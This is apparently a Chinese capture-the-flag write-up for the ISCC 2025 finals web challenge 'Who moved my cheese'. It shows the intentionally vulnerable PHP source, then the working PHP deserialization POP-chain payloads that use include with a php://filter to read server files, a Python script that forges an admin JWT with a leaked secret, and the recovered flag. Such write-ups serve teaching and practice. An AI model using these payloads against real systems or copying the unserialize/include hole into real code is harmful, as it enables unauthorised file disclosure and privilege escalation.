2025-iscc-总决赛web1


谁动了我的奶酪

简单的反序列化套文件包含套jwt伪造

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";

class Tom{
    public $stolenCheese;
    public $trap;
    public function __construct($file='cheesemap.php'){
        $this->stolenCheese = $file;
        echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
    }
    public function revealCheeseLocation(){
        if($this->stolenCheese){
            $cheeseGuardKey = "cheesemap.php";
            echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
            $this->stolenCheese = str_rot3($cheeseGuardKey);
        }
    }
    public function __toString(){
        if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
            echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
        }else{
            $this->trap['trap']->stolenCheese;
            return "Tom";
        }
    }
    
    public function stoleCheese(){
        $Messages = [
            "<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
            "<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
            "<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
            "<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
        ];
        echo $Messages[array_rand($Messages)];
        $this->revealCheeseLocation();
    }
}

class Jerry{
    protected $secretHidingSpot;
    public $squeak;
    public $shout;
    public function searchForCheese($mouseHole){
        include($mouseHole);
    }
    public function __invoke(){
        $this->searchForCheese($this->secretHidingSpot);
    }
}

class Cheese{
    public $flavors;
    public $color;
    public function __construct(){
        $this->flavors = array();
    }
    public function __get($slice){
        $melt = $this->flavors;
        return $melt();
    }
    public function __destruct(){
        unserialize($this->color)();
        echo "Where is my cheese?";
    }
}

if (isset($_GET['cheese_tracker'])) {
    unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
    $clue = $_GET["clue"];
    $clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
    if (unserialize($clue)){
        unserialize($clue)->squeak = "Thief!";
        if(unserialize($clue)->shout === unserialize($clue)->squeak)
            echo "cheese is hidden in ".$where;
        else
            echo "OHhhh no!find it yourself!";
    }
}

?>
    

题目一看,肯定是利用include读取文件,pop链很简单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class Jerry{
    protected $secretHidingSpot="php://filter/convert.base64-encode/resource=cheesemap.php";
    public $squeak;
    public $shout;
    public function searchForCheese($mouseHole){
        include($mouseHole);
    }
    public function __invoke(){
        echo "3"."\n";
        $this->searchForCheese($this->secretHidingSpot);
    }
}

class Cheese{
    public $flavors;
    public $color;
    public function __construct(){
        $this->flavors = array();
    }
    public function __get($slice){
        $melt = $this->flavors;
        return $melt();
    }
    public function __destruct(){
        unserialize($this->color)();
        echo "Where is my cheese?"."\n";
    }
}

$a=new Cheese();
$jerry=new Jerry();
$a->color=serialize($jerry);

echo serialize($a);
echo urlencode(serialize($a))."\n";

打这个payload没反应,说明可能不是读cheesemap.php。观察到echo “cheese is hidden in “.$where;,说明要读的文件可能就是这个where,那么就先尝试得到where。

1
2
要让unserialize($clue)->shout === unserialize($clue)->squeak并且绕过waf其实最简单的就是不给他俩赋值,null=null
原因:unserialize()函数会创建一个新的对象实例,而不会修改原始序列化字符串。也就是说unserialize($clue)->squeak = "Thief!";没有任何作用
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

class Jerry{
    public $secretHidingSpot;
    public $squeak;
    public $shout;
    public function searchForCheese($mouseHole){
        include($mouseHole);
    }
    public function __invoke(){
        echo "3"."\n";
        $this->searchForCheese($this->secretHidingSpot);
    }
}

$a=new Jerry();

echo serialize($a);
echo urlencode(serialize($a))."\n";
image-20250518001720706

得到flag_of_cheese.php ,然后直接include读取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class Jerry{
    protected $secretHidingSpot="php://filter/convert.base64-encode/resource=flag_of_cheese.php";
    public $squeak;
    public $shout;
    public function searchForCheese($mouseHole){
        include($mouseHole);
    }
    public function __invoke(){
        echo "3"."\n";
        $this->searchForCheese($this->secretHidingSpot);
    }
}

class Cheese{
    public $flavors;
    public $color;
    public function __construct(){
        $this->flavors = array();
    }
    public function __get($slice){
        $melt = $this->flavors;
        return $melt();
    }
    public function __destruct(){
        unserialize($this->color)();
        echo "Where is my cheese?"."\n";
    }
}

$a=new Cheese();
$jerry=new Jerry();
$a->color=serialize($jerry);

echo serialize($a);
echo urlencode(serialize($a))."\n";
image-20250518005738115

解码得到一半flag和提示

image-20250518005837634

那另一半呢?观察路由,发现次路由是base64编码,解码是cheeseOne,那么猜测有个路由是cheeseTwo的base64编码Y2hlZXNlVHdv。

访问果然没错,只是访问受限,要管理员身份,

image-20250518090440630

然后再查看源码

image-20250518090626172

发现一个base64加密的编码,两次解码得Jerry_Loves_Cheese,不过不知道什么东西,先放一下

抓包看看有什么其它信息,发现一个token

image-20250518090958059

解码知道应该是jwt伪造admin,然后这个密钥,刚好前面得到一串字符,不出意外就是密钥

image-20250518091023902

所以伪造代码就是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import jwt
import datetime

# 定义标头(Headers)
headers = {
    "alg": "HS256",  # 指定算法为HS256
    "typ": "JWT"  # 类型为JWT
}

# 定义有效载体(Payload)
token_dict = {
    "role": "admin",
    "exp": 1747533847
}

# 密钥
secret = 'Jerry_Loves_Cheese'

jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)
image-20250518091618969

访问看到

image-20250518091727754

上面提示22得16进制爆破不就是16进制的16,直接厨子异或爆破得到

image-20250518094414735

所以flag是ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}。知识点不难,就是套

谢谢观看